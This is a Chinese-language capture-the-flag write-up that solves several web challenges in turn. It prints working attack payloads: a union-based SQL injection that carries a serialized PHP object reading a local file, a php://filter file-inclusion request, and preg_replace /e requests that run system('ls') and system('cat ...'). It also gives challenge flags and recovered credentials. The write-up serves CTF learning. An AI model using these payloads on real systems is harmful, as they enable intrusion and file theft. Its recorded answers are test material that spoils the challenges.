我们就直接开始吧
web2
源码给出了加密后的字符串,我们解密即可
代码块
import base64
def python_decode(string):
zimu = "abcdefghijklmnopqrstuvwxyz"
rot_13 =""
for i in string:
if i.isdigit():
rot_13 += i
else:
try:
rot_13 += zimu[zimu.index(i)-13]
except:
rot_13 += zimu[zimu.index(i.lower())-13].upper()
fz = rot_13[::-1]
base = base64.b64decode(fz)
base = [chr(ord(i)-1) for i in base]
fz = base[::-1]
print "".join(fz)
python_decode("a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws")
Fakebook
翻来翻去,发现了/view.php?no=1有注入
但是我们输入的信息会被保存并序列化
最后我们构造语句即可
/view.php?no=0/**/union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:1:"1";s:3:"age";i:1;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'
解密后就是flag{c1e552fdf77049fabf65168f22f7aeab}
ics-05
这是文件包含页面,我们先把index.php文件包含进来看看
/index.php?page=php://filter/convert.base64-encode/resource=index.php
解密后得到源码,preg_replace可以构造我们的语句
我们需要加上X-Forwarded-For: 127.0.0.1才行,在url中加上我们的语句即可防包
查看文件列表
/index.php?pat=/(.*)/e&rep=system('ls')&sub=aa
s3chahahaDir文件夹
/index.php?pat=/(.*)/e&rep=system('ls+s3chahahaDir')&sub=aa
查看flag文件夹
/index.php?pat=/(.*)/e&rep=system('ls+s3chahahaDir/flag')&sub=aa
/index.php?pat=/(.*)/e&rep=system('cat+s3chahahaDir/flag/flag.php')&sub=aa
查看flag
FlatScience
简单的扫目录发现了login.php页面并且还有个debug参数可以查看源码
注意啊,这里的数据库不是mysql,是sqlite
查询出来账号密码,admin,ThinJerboa
然后拿这账号密码去admin.php登录进去就可以了
Cat
我们把url参数修改成%88发现报错了
通过报错信息我们发现数据库
我们再用django的方式打开
/index.php?url=@/opt/api/database.sqlite3
搜索ctf就看到了
ics-04
Findpwd.php页面存在sql注入,我们注入后得到
用户名 c3tlwDmIn23
密码 1qazWSXED56yhn8ujm9olk81wdfTG
问题 cetc
答案 cdwcewf2e3235y7687jnhbvdfcqsx12324r45y687o98kynbgfvds
我们再拿着这些去注册,然后登录即可